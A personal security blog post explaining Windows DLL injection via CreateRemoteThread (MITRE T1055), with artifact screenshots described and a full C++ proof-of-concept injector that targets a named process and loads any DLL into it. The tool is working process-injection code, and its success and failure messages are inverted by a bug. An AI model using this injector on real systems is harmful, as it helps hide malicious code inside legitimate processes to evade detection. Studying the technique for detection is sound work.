Reinventing the wheel: DLL Injection via CreateRemoteThread
It’s been a while since I came across the post Ashkan Hosseini authored on Endgame’s website (Endgame was later acquired by Elastic) [1] about process injection techniques and it was a great motive for me to implement some of the techniques discussed in that post.
So, here it is! My post about DLL injection via CreateRemoteThread. Numerous implementations of this technique already exist out there, so nothing new here to see.
Index:
- High Level Mechanics
- DLL Injection API mechanics
- What this PoC brings
- Execution Artifacts
- Observations
- The implementation
- References
High Level Mechanics
Before delving into the API details and the core of the implementation, let’s give an overview of this technique.
DLL injection is an approach to inject code into a live process. The technique is documented as T1055 in the MITRE ATT&CK framework [2]. It involves a victimized/targeted process that loads and executes a Dynamic Link Library in its address space. This type of injection is utilized by malware authors in order to avoid detection by not executing their code in a standalone process that will probably raise suspicion. It’s easier to investigate an incident in which a suspicious process is launched vs an incident in which a suspicious DLL is loaded by a legit and/or innocuous process.
Assuming there is a payload DLL already on disk, DLL injection consists of API calls that allocate memory in the victim process, write the path to the payload DLL into the address space of this process (in the allocated memory region), call/invoke the API that will eventually load the payload DLL in the address space of the victim process and execute it.
So, what is really needed for this is to target/choose the victim process and have an implemented payload DLL.
The major misconception I initially had about this technique was that it was a requirement to programatically map the image of the payload DLL into the address space of the victim process. However, further studying and the example code that Adam Furmanek authored in his blog [3] shed more light on the topic.
DLL Injection API mechanics
Let’s now dive into the actual API calls required for this technique.
In order to implement the DLL injection, we need to utilize the following APIs:
- OpenProcess to get a handle for the victim/target process
- VirtualAllocEx to allocate space in memory to write the path to the DLL that will be injected in the victim/target process
- WriteProcessMemory to write the path to the DLL that it’s gonna be injected
- GetModuleHandle to get a handle to the Kernel32.dll library
- GetProcAddress to get the address of the LoadLibrary API
- CreateRemoteThread to execute the LoadLibrary from the context of the victim/targeted process so the DLL gets loaded in its address space
What this PoC brings
Instead of just implementing this technique, I chose to also developed additional functionality in this proof of concept.
With the tool I’ve created, a user can specify the following as input:
- name of the victim/target process
- path to the payload DLL
The tool then checks if the given process is active/running on the host and upon confirmation it injects the DLL into address space of the chosen process. Once the DLL gets loaded, it’s executed.
Execution Artifacts
It’s beneficial to inspect what happens behind the scenes when we inject a DLL that launches notepad.exe into an already running process instance of notepad.exe. For this, I’m using two of the beloved Systinternals tools:
- Process Explorer (aka procexp64.exe) to check parent-child process relationship and check the DLLs mapped into the process
- Process Monitor (aka Procmon.exe) to monitor the load of the payload DLL
In the following examples, the payload DLL is called calc_poc.dll (as it was initially designed to launch a calculator).
Artifacts in Process Explorer
In Process Explorer the following parent-child relationship is recorded:
The following screenshot shows that the payload DLL was mapped into the victim process:
Artifacts in Process Monitor
In Process Monitor the following events are recorded during the load of the payload DLL:
Observations
After running a few tests with this tool, I made a few observations:
- When the payload DLL is set to launch notepad.exe, the process is launched however no window is visible
- Once the DLL gets loaded into the address space of the victim process, any additional load events for the same DLL will not result in the execution of its code. According to the Microsoft documentation about Run-Time Dynamic Linking [4]: “The entry-point function is not called if the DLL was already loaded by the process through a call to LoadLibrary or LoadLibraryEx with no corresponding call to the FreeLibrary function.”
- The tool may deceive you that the injection was successful (trollface), as I’ve observed cases in which the APIs were executed however the DLL was not loaded into the target process and as such it wasn’t executed
The payload DLL used to test the generated code was based on the skeleton code I’ve written for other demos.
This section will likely be updated in the future as new information becomes available.
The implementation
See below the code I created for this wheel reinvention!
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string>
DWORD VictimProcessCraving(const char* PName, BOOL *ProcessTokenAcquired)
{
// function gets a process name and returns the PID of this process
// a flag is updated, indicating whether the provided process is active in the system
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD dwCurrentProcessId = ::GetCurrentProcessId();
DWORD dwRunningProcessId = 0;
DWORD dwCurrentProcessSessionId = 0;
DWORD dwRunningProcessSessionId = 0;
DWORD victimPID = 0;
// take a snapshot of all processes in the system
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if ( hProcessSnap == INVALID_HANDLE_VALUE )
{
printf("[-] CreateToolhelp32Snaphost has failed!\n");
exit(1);
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if ( !Process32First(hProcessSnap, &pe32) )
{
printf("[-] Process32First has failed!\n");
CloseHandle(hProcessSnap);
exit(1);
}
do
{
if ( strcmp(pe32.szExeFile, PName) == 0 )
{
dwRunningProcessId = pe32.th32ProcessID;
ProcessIdToSessionId(dwCurrentProcessId, &dwCurrentProcessSessionId);
ProcessIdToSessionId(dwRunningProcessId, &dwRunningProcessSessionId);
if (dwCurrentProcessSessionId != dwRunningProcessSessionId)
{
printf("[-] Belongs to a different session\n");
break;
}
victimPID = pe32.th32ProcessID;
if (!OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE , FALSE, pe32.th32ProcessID))
{
// didn't get a token for the process, keep looking other active processes
continue;
}
else
{
// got a token for the process
*ProcessTokenAcquired = TRUE;
break;
}
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
// return the victim process PID or 0
if (victimPID)
return pe32.th32ProcessID;
else
return 0;
}
BOOL InjectDLL(HANDLE hProcess, LPCSTR lpFileName)
{
DWORD nNumberOfBytesToRead = 0;
// calculate the number of bytes the DLL path consists of
int numberOfCharacters = lstrlen(lpFileName) + 1;
int numberOfBytes = numberOfCharacters * sizeof(char);
printf("[+] numberOfCharacters: %d\n", numberOfCharacters);
printf("[+] numberOfBytes: %d\n", numberOfBytes);
// allocate memory in a target process
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, numberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if ( !lpBaseAddress )
{
printf("[-] Virtual allocation has failed: %d\n", GetLastError());
return 0;
}
// write the DLL in the target process
if ( !WriteProcessMemory(hProcess, lpBaseAddress, lpFileName, numberOfBytes, NULL))
{
printf("[-] WriteProcessMemory has failed: %d\n", GetLastError());
return 0;
}
// get the address of LoadLibraryA
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (!lpStartAddress)
{
printf("[-] GetProcAddress has failed: %d\n", GetLastError());
return 0;
}
// debug
printf("[+] LoadLibrary address: 0x%p\n", lpStartAddress);
// create a remote thread to execute the specified DLL
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
if ( !hRemoteThread )
{
printf("[-] CreateRemoteThread has failed: %d\n", GetLastError());
return 0;
}
DWORD status = WaitForSingleObject(hRemoteThread, INFINITE);
// cleanup
VirtualFreeEx(hProcess, lpBaseAddress, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return 1;
}
void menu()
{
printf("SYNOPSIS\n");
printf("\tdll_injection.exe -p process_name -d dll_name\n\n");
printf("DESCRIPTION\n");
printf("\tApplication to inject a DLL into a given process\n\n");
printf("OPTIONS\n");
printf("\t-h, --help\n");
printf("\t\tdisplay this help and exit\n");
printf("\t-p, --process-name\n");
printf("\t\tSpecify the target/victim process\n");
printf("\t-d, --dll-path\n");
printf("\t\tSpecify the DLL that will be injected into the victim process\n");
}
int main(int argc, char **argv)
{
BOOL pset = FALSE, dset = FALSE;
BOOL ProcessTokenAcquired = FALSE;
std::string PName, DLLPath;
printf("[+] Program started...\n");
for (int i = 1; i < argc; i++)
{
std::string s = argv[i];
// display help menu and exit
if ( !s.compare("-h") || !s.compare("--help") ) menu();
/// check if the process name has been specified
if ( !s.compare("-p") || !s.compare("--process-name") )
{
// debug
//printf("[+] input process-name: %s\n", argv[i+1]);
PName = argv[i+1];
pset = TRUE;
}
// check if the DLL path has been specified
if (!s.compare("-d") || !s.compare("--dll-path"))
{
// debug
//printf("[+] input DLL-path: %s\n", argv[i+1]);
DLLPath = argv[i + 1];
dset = TRUE;
}
}
if ( !(pset && dset) )
{
printf("[-] You have to specify both a process name and a DLL path. Exiting...\n");
exit(1);
}
// find the PID of the victim process given its name
DWORD victimPID = 0;
victimPID = VictimProcessCraving(PName.c_str(), &ProcessTokenAcquired);
if ( victimPID )
printf("[+] Victim process ID: %d\n", victimPID);
else
{
printf("[-] Could not locate the process\n");
exit(1);
}
if (!ProcessTokenAcquired)
{
printf("[-] Could not acquire the process token\n");
exit(1);
}
// victim process handle
// requires the PID which comes from VictimProcessCraving
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, victimPID);
printf("[+] hProcess: 0x%p\n", hProcess);
// call inject DLL
if ( !InjectDLL(hProcess, DLLPath.c_str()) )
printf("[+] Successful injection occurred!\n");
else
printf("[-] Inject has failed\n");
return 0;
}
References
[1] https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
[2] https://attack.mitre.org/techniques/T1055/
[3] https://blog.adamfurmanek.pl/2016/04/09/dll-injection-part-3/
[4] https://docs.microsoft.com/en-us/windows/win32/dlls/run-time-dynamic-linking
* Any feedback on this article would be greatly appreciated
tags: #Windows API